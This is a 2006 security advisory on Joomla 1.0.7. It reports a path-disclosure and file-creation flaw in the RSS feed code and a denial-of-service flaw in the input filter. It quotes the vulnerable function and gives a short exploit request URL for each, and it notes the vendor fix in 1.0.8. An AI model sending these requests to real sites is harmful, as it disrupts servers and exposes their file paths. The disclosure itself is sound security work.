RST/GHC -- JOOMLA CMS -- ADVISORY #37
Product: Joomla
Affected version: 1.0.7
Last version: 1.0.7
Vendor: Joomla!
URL: http://www.joomla.org/
online demo: http://demo.joomla.org/
VULNERABILITY CLASS: DoS, path disclosing

[Product Description]
Joomla! is a Content Management System (CMS) created by the same award-winning 
team that brought the Mambo CMS to its current state of stardom.

[Summary]
An attacker can invoke some undesirable situations for server administrator.

[Details]

1. Real server path disclose and arbitrary filename creation.
Vulnerable script: includes/feedcreator.class.php
[code]
  function saveFeed($filename="", $displayContents=true) {
    if ($filename=="") {
      $filename = $this->_generateFilename();
    }
    $feedFile = fopen($filename, "w+");
    if ($feedFile) {
      fputs($feedFile,$this->createFeed());
      fclose($feedFile);
      if ($displayContents) {
        $this->_redirect($filename);
      }
[/code]

Exploit: 
Vulnerable script: index.php?option=com_rss&feed=filename_here&no_html=1
An attacker can write simple code to soil the server by lots of cashed files.
To disclose real path - just put slash symbol in the filename. 

2. Denial of service.
Vulnerable script: includes/phpInputFilter/class.inputfilter.php
Anti-xss code will not cope with several tags. This can cause denial of servise.
Exploit: 
index.php?option=com_poll&task=results&id=14&mosmsg=DOS@HERE<<>AAA<><>


[DISCLOSURE TIMELINE]

09/02/06 - vendor notification
26/02/06 - new release (1.0.8) with bugfix

bugs discovered by Foster

RST/GHC
http://rst.void.ru
http://www.ghc.ru